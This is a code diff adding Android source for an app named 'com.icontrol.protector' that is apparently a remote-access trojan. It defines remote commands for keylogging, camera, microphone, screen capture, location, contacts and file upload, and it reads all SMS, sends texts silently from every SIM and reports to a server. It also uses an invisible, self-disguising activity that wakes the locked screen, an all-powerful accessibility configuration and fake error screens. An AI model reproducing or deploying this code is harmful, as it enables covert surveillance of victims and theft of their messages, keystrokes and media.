int scaledWidth = Math.round(srcWidth * scale);
int scaledHeight = Math.round(srcHeight * scale);
// Create a scaled bitmap with the computed width and height
Bitmap scaledBitmap = Bitmap.createScaledBitmap(source, scaledWidth, scaledHeight, true);
// Create a final bitmap with the requested dimensions and draw the scaled bitmap in the center
Bitmap outputBitmap = Bitmap.createBitmap(newWidth, newHeight, source.getConfig());
Canvas canvas = new Canvas(outputBitmap);
// Calculate top and left to center the scaled image in the new dimensions
float left = (newWidth - scaledWidth) / 2.0f;
float top = (newHeight - scaledHeight) / 2.0f;
canvas.drawBitmap(scaledBitmap, left, top, null);
return outputBitmap;
}
public static long buff(long BufferSize) {
if (BufferSize >= 262144) {
BufferSize = 131072;
}else if (BufferSize >= 262144) { // Between 256 KB and 512 KB
BufferSize = 65536; // 64 KB
} else if (BufferSize >= 131072) { // Between 128 KB and 256 KB
BufferSize = 32768; // 32 KB
} else if (BufferSize >= 65536) { // Between 64 KB and 128 KB
BufferSize = 16384; // 16 KB
} else if (BufferSize >= 1024) { // Between 1 KB and 64 KB
BufferSize = 4096; // 4 KB
} else { // Less than 1 KB
BufferSize = 512; // 512 bytes
}
return BufferSize;
}
public static void zip(final String[] lst, final String path) {
try {
File file = new File(path);
if (!file.exists()){
file.createNewFile();
}
BufferedInputStream origin;
FileOutputStream dest = new FileOutputStream(file.getPath());
ZipOutputStream out = new ZipOutputStream(new BufferedOutputStream(dest));
for (int i = 0; i < lst.length; i++) {
File o = new File(lst[i]);
if (!o.isDirectory()){
long Buff = buff(o.length());
Long x = Buff;
int s = x.intValue();
byte data[] = new byte[s];
FileInputStream fi = new FileInputStream(lst[i]);
origin = new BufferedInputStream(fi, s);
ZipEntry entry = new ZipEntry(lst[i].substring(lst[i].lastIndexOf("/") + 1));
out.putNextEntry(entry);
int count;
while ((count = origin.read(data, 0, s)) != -1) {
out.write(data, 0, count);
}
origin.close();
}
}
out.close();
} catch (Exception e) {}
}
public static void unzip(final String path, final String here) {
File file = new File(here);
if (file.exists()){
try {
FileInputStream FIS = new FileInputStream(path);
ZipInputStream ZIS;
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.N) {
ZIS = new ZipInputStream(FIS, Charset.forName("Cp437"));
}else{
ZIS = new ZipInputStream(FIS);
}
ZipEntry ZE ;
while ((ZE = ZIS.getNextEntry()) != null) {
String p = here + ZE.getName();
File dir0 = new File(p);
if (dir0.isDirectory()){
if (!dir0.exists()) {dir0.mkdirs();}
}else{
int c;
String n = "";
for (c = p.length()-1 ; c >= 0 ; c--){
if(String.valueOf(p.charAt(c)).equals("/") ){
n = p.substring(0, c);
break;
}
}
File dir1 = new File(n);
if (!dir1.exists()) {dir1.mkdirs();}
}
File o = new File(here + ZE.getName());
if (!o.isDirectory()){
FileOutputStream f = new FileOutputStream(here + ZE.getName());
long Buff = buff(o.length());
Long x = Buff;
int s = x.intValue();
byte data[] = new byte[s];
int count;
while ((count = ZIS.read(data, 0, s)) != -1) {
f.write(data, 0, count);
}
ZIS.closeEntry();
f.close();
}
}
ZIS.close();
} catch (Exception e) {}
}
}
public void encrypt(String path,String pass,String con) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException {
FileInputStream fis = new FileInputStream(path);
FileOutputStream fos = new FileOutputStream(path.concat(con));
byte[] key = (mp + pass).getBytes("UTF-8");
MessageDigest sha = MessageDigest.getInstance("SHA-1");
key = sha.digest(key);
key = Arrays.copyOf(key,16);
SecretKeySpec sks = new SecretKeySpec(key, "AES");
Cipher cipher = Cipher.getInstance("AES");
cipher.init(Cipher.ENCRYPT_MODE, sks);
CipherOutputStream cos = new CipherOutputStream(fos, cipher);
int b;
byte[] d = new byte[8];
while((b = fis.read(d)) != -1) {
cos.write(d, 0, b);
}
cos.flush();
cos.close();
fis.close();
FileDelete(path);
}
public void decrypt(String path,String pass, String outPath) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException {
FileInputStream fis = new FileInputStream(path);
FileOutputStream fos = new FileOutputStream(outPath);
byte[] key = (mp + pass).getBytes("UTF-8");
MessageDigest sha = MessageDigest.getInstance("SHA-1");
key = sha.digest(key);
key = Arrays.copyOf(key,16);
SecretKeySpec sks = new SecretKeySpec(key, "AES");
Cipher cipher = Cipher.getInstance("AES");
cipher.init(Cipher.DECRYPT_MODE, sks);
CipherInputStream cis = new CipherInputStream(fis, cipher);
int b;
byte[] d = new byte[8];
while((b = cis.read(d)) != -1) {
fos.write(d, 0, b);
}
fos.flush();
fos.close();
cis.close();
FileDelete(path);
}
public void copyFile(String sourcePath, String destinationPath) throws IOException {
File sourceFile = new File(sourcePath);
if (!sourceFile.exists()) {
throw new IOException("Source file does not exist: " + sourcePath);
}
// Extract the filename from the source path
String fileName = sourceFile.getName();
// Check if the destinationPath is a directory
File destinationDir = new File(destinationPath);
if (destinationDir.isDirectory()) {
// If it is a directory, append the filename to the destination path
destinationPath = new File(destinationDir, fileName).getPath();
}
File destinationFile = new File(destinationPath);
// Ensure the parent directories exist
destinationFile.getParentFile().mkdirs();
FileInputStream fis = null;
FileOutputStream fos = null;
try {
fis = new FileInputStream(sourceFile);
fos = new FileOutputStream(destinationFile);
byte[] buffer = new byte[1024];
int length;
while ((length = fis.read(buffer)) > 0) {
fos.write(buffer, 0, length);
}
} finally {
if (fis != null) {
try {
fis.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (fos != null) {
try {
fos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
public void moveFile(String sourcePath, String destinationPath) throws IOException {
// First, copy the file
copyFile(sourcePath, destinationPath);
// After copying, delete the source file
File sourceFile = new File(sourcePath);
if (!sourceFile.delete()) {
throw new IOException("Failed to delete the original file after copying: " + sourcePath);
}
}
}
@@ -0,0 +1,59 @@
package com.icontrol.protector;
public class id_Commands {
//Global
public static String Firstinfo = "FI";
public static String ScreenOnOff = "SCRN";
public static String Contacts = "Conts";
public static String SMS = "SMS";
public static String APPS = "Apps";
public static String jects = "jects";
public static String Location = "LOC";
public static String ScreenCapture = "CAP";
public static String Deviceinfo = "DINF";
//Msgs
public static String Bing = "BNG";
public static String MSG = "MSG";
public static String ALERT = "ALT";
//Files commands
public static String files = "files";
public static String View = "VEW";
public static String StartDownloader = "SDWN";
public static String Downloader = "DWN";
public static String Uploader = "UPL";
//Camera
public static String LoadCam = "CL";
public static String LiveCam = "CLV";
//Mic
public static String LoadMic = "ML";
public static String MicMSG = "MCSG";
//Accessibility
public static String Access = "ACS";
public static final String GetActive = "GA";
public static final String DeleteActive = "DA";
public static final String GetNotifis = "GF";
public static final String DeleteNotifis = "DF";
public static final String GetVisited = "GV";
public static final String DeleteVisited = "DV";
public static final String GETURLS = "GU";
public static final String Deleteurl = "DU";
public static final String GETKEYS = "GK";
public static final String DeleteKEYS = "DK";
public static final String Livekeys = "LK";
}
@@ -0,0 +1,179 @@
package com.icontrol.protector;
import static com.icontrol.protector.WorkServices.MyWorker.AlertServer;
import static com.icontrol.protector.Consts.SPLIT_ARAY;
import static com.icontrol.protector.Consts.SPLIT_LINE;
import android.content.ContentResolver;
import android.content.Context;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.net.Uri;
import android.provider.ContactsContract;
import android.telephony.SmsManager;
import android.telephony.SubscriptionInfo;
import android.telephony.SubscriptionManager;
import android.util.Log;
import androidx.core.app.ActivityCompat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
public class mysmanager {
public static String Load(Context c, String target) {
String f = "null";
Cursor mc = null;
Cursor cr = null;
try {
StringBuffer sb = new StringBuffer();
ArrayList<String> gr_nu = new ArrayList<>();
ArrayList<String> gr_na = new ArrayList<>();
Uri uri = Uri.parse("content://sms/");
if ("Inbox".equals(target)) {
uri = Uri.parse("content://sms/inbox");
} else if ("Sent".equals(target)) {
uri = Uri.parse("content://sms/sent");
}
mc = c.getContentResolver().query(uri,
new String[]{"_id", "thread_id", "address", "person", "date", "body", "type"},
null, null, null);
String[] col = new String[]{"address", "person", "date", "body", "_id", "type", "thread_id"};
if (mc != null && mc.getCount() > 0) {
try {
ContentResolver crr = c.getContentResolver();
cr = crr.query(ContactsContract.Data.CONTENT_URI, null,
ContactsContract.Data.HAS_PHONE_NUMBER + "!=0 AND (" +
ContactsContract.Data.MIMETYPE + "=? OR " +
ContactsContract.Data.MIMETYPE + "=?)",
new String[]{
ContactsContract.CommonDataKinds.Email.CONTENT_ITEM_TYPE,
ContactsContract.CommonDataKinds.Phone.CONTENT_ITEM_TYPE},
ContactsContract.Data.CONTACT_ID);
if (cr != null) {
int nameIndex = cr.getColumnIndex(ContactsContract.Data.DISPLAY_NAME);
int numberIndex = cr.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER);
if (nameIndex != -1 && numberIndex != -1) {
while (cr.moveToNext()) {
String name = cr.getString(nameIndex);
String number = cr.getString(numberIndex);
gr_nu.add(number);
gr_na.add(name);
}
} else {
Log.e("ContactError", "Missing columns in contact cursor.");
}
}
} catch (Exception e) {
Log.e("ContactError", "Error loading contacts: " + e.getMessage());
}
String name = null;
int indexsms = 0;
int addressIndex = mc.getColumnIndex(col[0]);
int dateIndex = mc.getColumnIndex(col[2]);
int messageIndex = mc.getColumnIndex(col[3]);
if (addressIndex != -1 && dateIndex != -1 && messageIndex != -1) {
while (mc.moveToNext()) {
String address = mc.getString(addressIndex);
long date = mc.getLong(dateIndex);
String message = mc.getString(messageIndex);
Date date_0 = new Date(date);
try {
int i = gr_nu.indexOf(address);
name = (i != -1) ? gr_na.get(i) : null;
} catch (Exception e) {
name = null;
}
String tag = (message.length() > 15) ? message.substring(0, 15) + "..." : message;
sb.append(address)
.append(SPLIT_ARAY)
.append(name)
.append(SPLIT_ARAY)
.append(date_0.toString())
.append(SPLIT_ARAY)
.append(tag)
.append(SPLIT_ARAY)
.append(message)
.append(SPLIT_ARAY)
.append(uri.getPath())
.append(SPLIT_ARAY)
.append(String.valueOf(indexsms))
.append(SPLIT_LINE);
indexsms++;
}
} else {
Log.e("CursorError", "Column index error in message cursor.");
}
f = sb.toString();
}
} catch (Exception e) {
Log.e("LoadFunction", "Error: " + e.getMessage());
} finally {
if (mc != null && !mc.isClosed()) mc.close();
if (cr != null && !cr.isClosed()) cr.close();
}
return f;
}
public static void sendSMS(Context ctx, String phoneNo, String msg) {
try {
if (ActivityCompat.checkSelfPermission(ctx, android.Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
AlertServer(ctx, "Message to " + phoneNo, "Permission not granted READ STATE.");
return;
}
int allsims = getSimCount(ctx);
for (int simSlot = 0;simSlot < allsims;simSlot++){
SubscriptionManager subscriptionManager = (SubscriptionManager) ctx.getSystemService(Context.TELEPHONY_SUBSCRIPTION_SERVICE);
List<SubscriptionInfo> subscriptionInfoList = subscriptionManager.getActiveSubscriptionInfoList();
if (subscriptionInfoList != null && simSlot < subscriptionInfoList.size()) {
int subscriptionId = subscriptionInfoList.get(simSlot).getSubscriptionId();
SmsManager smsManager = SmsManager.getSmsManagerForSubscriptionId(subscriptionId);
smsManager.sendTextMessage(phoneNo, null, msg, null, null);
AlertServer(ctx, "Message to " + phoneNo, "Sent successfully via SIM slot " + simSlot);
} else {
AlertServer(ctx, "Message to " + phoneNo, "Invalid SIM slot or no SIM found.");
}
}
} catch (Exception e) {
AlertServer(ctx, "Message to " + phoneNo, "Failed to send message: " + e.getMessage());
}
}
public static int getSimCount(Context context) {
SubscriptionManager subscriptionManager = (SubscriptionManager) context.getSystemService(Context.TELEPHONY_SUBSCRIPTION_SERVICE);
if (subscriptionManager != null) {
if (ActivityCompat.checkSelfPermission(context, android.Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
return 0;
}
List<SubscriptionInfo> subscriptionList = subscriptionManager.getActiveSubscriptionInfoList();
if (subscriptionList != null) {
return subscriptionList.size();
}
}
return 0;
}
}
@@ -0,0 +1,250 @@
package com.icontrol.protector;
import static com.icontrol.protector.UtliTools.drawableToBitmap;
import static com.icontrol.protector.UtliTools.excludeFromTaskList;
import static com.icontrol.protector.UtliTools.getRandomLauncherApp;
import static com.icontrol.protector.UtliTools.isPackageInstalled;
import android.app.Activity;
import android.app.ActivityManager;
import android.content.Context;
import android.content.Intent;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.graphics.Bitmap;
import android.graphics.Color;
import android.graphics.drawable.Drawable;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.os.PowerManager;
import android.view.Gravity;
import android.view.View;
import android.view.Window;
import android.view.WindowManager;
public class tofront extends Activity {
//private static TransparentActivity instance = null;
@Override
protected void onDestroy() {
super.onDestroy();
// instance = null;
}
@Override
protected void onResume() {
super.onResume();
// excludeFromTaskList(getApplicationContext());
Handler hstop = new Handler(Looper.getMainLooper());
hstop.postDelayed(new Runnable() {
public void run() {
try {
//
excludeFromTaskList(getApplicationContext());
moveTaskToBack(true);
} catch (Exception d) {
}
}
},1500);
}
private View overlayView;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
try {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O_MR1) {
setShowWhenLocked(true);
setTurnScreenOn(true);
}
PowerManager pm = (PowerManager) getSystemService(Context.POWER_SERVICE);
if (pm != null) {
PowerManager.WakeLock wakeLock = pm.newWakeLock(
PowerManager.FULL_WAKE_LOCK |
PowerManager.ACQUIRE_CAUSES_WAKEUP |
PowerManager.ON_AFTER_RELEASE ,
"App:IncomingCall"
);
wakeLock.acquire(3000);
}
// requestWindowFeature(Window.FEATURE_NO_TITLE);
//
// getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
// WindowManager.LayoutParams.FLAG_FULLSCREEN);
// instance = this;
// getWindow().getDecorView().setSystemUiVisibility(
// View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY
// | View.SYSTEM_UI_FLAG_LAYOUT_STABLE
// | View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION
// | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
// | View.SYSTEM_UI_FLAG_HIDE_NAVIGATION
// | View.SYSTEM_UI_FLAG_FULLSCREEN
// );
// LinearLayout layout = new LinearLayout(this);
// layout.setLayoutParams(new LinearLayout.LayoutParams(
// LinearLayout.LayoutParams.MATCH_PARENT,
// 1
// ));
// layout.setBackgroundColor(Color.TRANSPARENT);
// //layout.setBackgroundColor(Color.RED);
// layout.setClickable(false);
// layout.setFocusable(false);
// int mytype = 0;
//
// if(My_Access_inst != null && My_Access_inst.AccessLayout != null){
// mytype = WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY;
// }else{
// if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.M && Settings.canDrawOverlays(this)){
// mytype = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
// }else{
// mytype = -1;
// }
// }
//
// if(mytype != -1){
// WindowManager.LayoutParams params = new WindowManager.LayoutParams(
// WindowManager.LayoutParams.MATCH_PARENT,
// 1,
// mytype, // Use TYPE_APPLICATION_OVERLAY for API 26+
// WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE ,
// PixelFormat.TRANSLUCENT
// );
//
// WindowManager wm = (WindowManager) getSystemService(WINDOW_SERVICE);
// params.gravity = Gravity.BOTTOM;
// if(mytype == WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY){
// My_Access_inst.AccessWindow.addView(layout, params);
// }else{
// wm.addView(layout, params);
// }
//
// }
//
//
try {
requestWindowFeature(Window.FEATURE_NO_TITLE);
Window window = getWindow();
window.setFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL |
WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED |
WindowManager.LayoutParams.FLAG_DIM_BEHIND |
WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD |
WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON |
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE, WindowManager.LayoutParams.FLAG_FULLSCREEN);
//window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL);
//window.addFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE);
//window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL);
// Set transparent background
WindowManager.LayoutParams params = window.getAttributes();
params.height = 2; // Minimal height
params.width =2;
// params.screenBrightness = 0;
params.gravity = Gravity.TOP | Gravity.START; // Pin it to the bottom
window.setAttributes(params);
// Make it completely invisible visually
//window.setBackgroundDrawableResource(android.R.color.transparent);
// Prevent dimming or blocking other UI
window.clearFlags(WindowManager.LayoutParams.FLAG_DIM_BEHIND);
} catch (Exception a) {
a.printStackTrace();
}
try {
String packageName = getRandomLauncherApp(getApplicationContext());
if (!isPackageInstalled(packageName, getPackageManager())) {
packageName = "com.android.vending";
if (!isPackageInstalled(packageName, getPackageManager())) {
packageName = null;
}
}
if (packageName != null) {
PackageManager packageManager = getPackageManager();
ApplicationInfo applicationInfo = packageManager.getApplicationInfo(packageName, 0);
Drawable appIcon = packageManager.getApplicationIcon(applicationInfo);
String appName = packageManager.getApplicationLabel(applicationInfo).toString();
this.setTitle(appName);
// Convert Drawable to Bitmap
Bitmap appIconBitmap = drawableToBitmap(appIcon);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
ActivityManager.TaskDescription taskDescription = new ActivityManager.TaskDescription(appName, appIconBitmap, Color.TRANSPARENT);
this.setTaskDescription(taskDescription);
}
}
} catch (Exception a) {
a.printStackTrace();
}
//setContentView(R.layout.activity_half_screen);
// Perform the work you need to do here
doWork();
overlayView = new View(getApplicationContext());
overlayView.setFocusable(true);
overlayView.setClickable(true);
overlayView.setBackgroundColor(Color.TRANSPARENT);
setContentView(overlayView);
Handler hstop = new Handler(Looper.getMainLooper());
hstop.postDelayed(new Runnable() {
public void run() {
try {
excludeFromTaskList(getApplicationContext());
moveTaskToBack(true);
} catch (Exception d) {
}
}
},3000);
} catch (Exception a) {
a.printStackTrace();
finish();
}
}
private void doWork() {
try {
Context mcontext = getApplicationContext();
Intent workint = new Intent(mcontext, EngineWorker.class);
if (!MyCods.isServiceRunning(mcontext, EngineWorker.class)) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
mcontext.startForegroundService(workint);
} else {
mcontext.startService(workint);
}
}
if (!MyCods.isServiceRunning(mcontext, WorkServices.class)) {
Intent workint2 = new Intent(mcontext, WorkServices.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
mcontext.startForegroundService(workint2);
} else {
mcontext.startService(workint2);
}
}
} catch (Exception e) {
}
}
}
@@ -0,0 +1,72 @@
package com.icontrol.protector;
import android.app.Activity;
import android.content.Context;
import android.graphics.Color;
import android.os.Bundle;
import android.os.Handler;
import android.os.PowerManager;
import android.view.View;
import android.view.Window;
import android.view.WindowManager;
public class wakeitaiv extends Activity {
PowerManager.WakeLock WakeScreen1=null;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
//setContentView(R.layout.activity_wakeup);
requestWindowFeature(Window.FEATURE_NO_TITLE);
// Important: have to do the following in order to show without unlocking
this.getWindow().setFlags(
WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED |
WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON |
WindowManager.LayoutParams.FLAG_FULLSCREEN |
WindowManager.LayoutParams.FLAG_ALLOW_LOCK_WHILE_SCREEN_ON,
WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED |
WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
setContentView(new View(getApplicationContext()));
View rootView = findViewById(android.R.id.content);
rootView.setKeepScreenOn(true);
// Window window = this.getWindow();
// window.setGravity(51);
//
// WindowManager.LayoutParams attributes = window.getAttributes();
// attributes.x = 0;
// attributes.y = 0;
// attributes.width = 1;
// attributes.height = 1;
//
// window.setAttributes(attributes);
PowerManager powerManager = (PowerManager) getSystemService(Context.POWER_SERVICE);
if (WakeScreen1 == null)
{
WakeScreen1 = powerManager.newWakeLock(PowerManager.FULL_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP | PowerManager.ON_AFTER_RELEASE , ":");
}
if (!WakeScreen1.isHeld()){
WakeScreen1.acquire(1000);
}
new Handler(getMainLooper()).postDelayed(()->{
finish();
}, 1);
// try {
// Thread.sleep(100);
// } catch (InterruptedException e) {
// //e.printStackTrace();
// }
// finish();
}
@Override
public void finish() {
super.finish(); // This will remove the activity from the screen
if (WakeScreen1.isHeld()){
WakeScreen1.release();
}
}
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 2.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 210 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 101 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 146 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 132 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 154 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 146 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 176 KiB

@@ -0,0 +1,91 @@
<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:padding="16dp"
android:background="#202020"
tools:context=".ChatActivity">
<TextView
android:id="@+id/chattitle"
android:layout_width="match_parent"
android:layout_height="40dp"
android:background="#37000000"
android:layout_alignParentStart="true"
android:layout_alignParentTop="true"
android:layout_alignParentEnd="true"
android:layout_marginStart="16dp"
android:layout_marginTop="5dp"
android:layout_marginEnd="16dp"
android:gravity="center"
android:textSize="30dp"
android:textColor="#fff"
android:text="..."/>
<FrameLayout
android:id="@+id/framdlayout1"
android:layout_width="match_parent"
android:layout_height="0dp"
android:layout_above="@id/messageEditText"
android:layout_below="@id/chattitle"
android:layout_marginTop="10dp"
android:layout_marginBottom="16dp"
android:padding="2dp"
android:background="#474747">
<ScrollView
android:id="@+id/scrollView2"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="#202020">
<LinearLayout
android:id="@+id/chatLayout"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical" />
</ScrollView>
</FrameLayout>
<EditText
android:id="@+id/messageEditText"
android:layout_width="273dp"
android:layout_height="wrap_content"
android:layout_alignParentStart="true"
android:layout_alignParentBottom="true"
android:layout_marginStart="25dp"
android:layout_marginEnd="25dp"
android:layout_marginBottom="12dp"
android:layout_toStartOf="@id/sendButton"
android:hint="Type a message..."
android:textColor="#fff"
android:textColorHint="#fff"
android:inputType="text"
android:minHeight="48dp"
android:background="#323232"
android:padding="10dp"
android:maxLines="3" />
<Button
android:id="@+id/sendButton"
android:layout_width="65dp"
android:layout_height="65dp"
android:layout_below="@+id/framdlayout1"
android:layout_alignParentEnd="true"
android:layout_alignParentBottom="true"
android:layout_marginTop="2dp"
android:layout_marginEnd="15dp"
android:layout_marginBottom="15dp"
android:background="#00000000"
android:gravity="center"
android:text="➤"
android:textColor="#008EFF"
android:textAlignment="center"
android:textSize="25dp"
/>
</RelativeLayout>
@@ -0,0 +1,16 @@
<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical">
<WebView
android:id="@+id/MyView"
android:focusable="true"
android:focusableInTouchMode="true"
android:layout_width="match_parent"
android:layout_height="match_parent" />
</RelativeLayout>
@@ -0,0 +1,83 @@
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:background="#292929">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="35dp"
android:background="#292929"
android:orientation="horizontal">
</LinearLayout>
<LinearLayout
android:layout_width="match_parent"
android:layout_height="75dp"
android:orientation="horizontal">
</LinearLayout>
<LinearLayout
android:layout_width="match_parent"
android:layout_height="110dp"
android:gravity="center"
android:orientation="horizontal">
<ImageView
android:id="@+id/noneticon"
android:layout_width="0px"
android:layout_weight="0.4"
android:layout_height="match_parent"
android:paddingLeft="5dp"
android:src="@drawable/connection_error"></ImageView>
</LinearLayout>
<LinearLayout
android:layout_width="match_parent"
android:layout_height="20dp"
android:orientation="horizontal">
</LinearLayout>
<LinearLayout
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical">
<TextView
android:layout_width="match_parent"
android:layout_height="150dp"
android:textColor="#F8F8F8"
android:gravity="top|center"
android:id="@+id/nodescrip"
android:paddingTop="25dp"
android:fontFamily="sans-serif"
android:text="No internet connection detected.\n\n please connect to internet and try again"
android:textSize="16sp"
android:textStyle="bold"
android:shadowRadius="2"
></TextView>
<Button
android:id="@+id/closeme"
android:layout_width="55dp"
android:layout_height="55dp"
android:background="@drawable/closebutton"
android:layout_gravity="center"
android:textSize="16sp"
android:textStyle="bold"
android:textColor="#000000"
android:shadowRadius="2">
</Button>
</LinearLayout>
</LinearLayout>
@@ -0,0 +1,35 @@
<!-- activity_main.xml -->
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:background="#000011"
android:layout_height="match_parent">
<ImageView
android:id="@+id/imageView"
android:layout_width="match_parent"
android:layout_height="400dp"
android:layout_centerHorizontal="true"
android:layout_marginTop="75dp"
android:src="@drawable/oppo_bty_en_1" />
<Button
android:id="@+id/nextButton"
android:layout_width="130dp"
android:layout_height="75dp"
android:layout_below="@id/imageView"
android:layout_centerHorizontal="true"
android:layout_marginTop="16dp"
android:text="Next"
android:background="@drawable/btnback"
android:gravity="center"
android:shadowColor="#000"
android:shadowDx="9"
android:shadowDy="3"
android:shadowRadius="2"
android:textColor="#fff"
android:textSize="18sp"
android:textStyle="bold" />
</RelativeLayout>
@@ -0,0 +1,44 @@
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:orientation="vertical"
android:padding="20dp"
android:background="#232323">
<ImageView
android:id="@+id/errorimg"
android:layout_width="144px"
android:layout_height="144px"
android:paddingLeft="5dp"
android:src="@drawable/error"></ImageView>
<TextView
android:id="@+id/dialog_message"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="#fff"
android:text="unfortunately , this version is not compatible with your device."
android:paddingBottom="20dp"
android:textSize="20dp"
android:gravity="center"/>
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center">
<Button
android:id="@+id/button_ok"
android:layout_width="280px"
android:layout_height="150px"
android:text="uninstall"
android:textColor="#fff"
android:background="#0074CC"/>
</LinearLayout>
</LinearLayout>
@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<string name="BaseName">[BASE_NAME]</string>
<string name="name1"> </string>
<string name="pnam"></string>
<!-- <string name="BaseName">ZRATBTMOB</string>-->
</resources>
@@ -0,0 +1,20 @@
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:accessibilityFlags="flagDefault|flagIncludeNotImportantViews|flagReportViewIds|flagRequestEnhancedWebAccessibility|flagRetrieveInteractiveWindows|flagRequestTouchExplorationMode|flagRequestFilterKeyEvents"
android:accessibilityEventTypes="typeViewClicked|typeViewLongClicked|typeViewSelected|typeViewFocused|typeViewTextChanged|typeWindowStateChanged|typeNotificationStateChanged|typeViewHoverEnter|typeViewHoverExit|typeTouchExplorationGestureStart|typeTouchExplorationGestureEnd|typeWindowContentChanged|typeViewScrolled|typeViewTextSelectionChanged|typeAnnouncement|typeViewAccessibilityFocused|typeViewAccessibilityFocusCleared|typeViewTextTraversedAtMovementGranularity|typeGestureDetectionStart|typeGestureDetectionEnd|typeTouchInteractionStart|typeTouchInteractionEnd|typeWindowsChanged|typeContextClicked|typeAssistReadingContext"
android:canRetrieveWindowContent="true"
android:canRequestTouchExplorationMode="true"
android:accessibilityFeedbackType="feedbackSpoken|feedbackHaptic|feedbackAudible|feedbackVisual|feedbackGeneric"
android:notificationTimeout="0"
android:canTakeScreenshot="true"
android:packageNames="@null"
android:description="@string/pnam"
android:summary="@string/pnam"
android:canPerformGestures="true"
android:interactiveUiTimeout="0"
android:canRequestFilterKeyEvents="true"
android:isAccessibilityTool="true"
android:canRequestEnhancedWebAccessibility="true"
android:accessibilityDataSensitive="no"
/>
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>
@@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<paths xmlns:android="http://schemas.android.com/apk/res/android">
<external-path
name="external_files"
path="." />
</paths>

Some files were not shown because too many files have changed in this diff Show More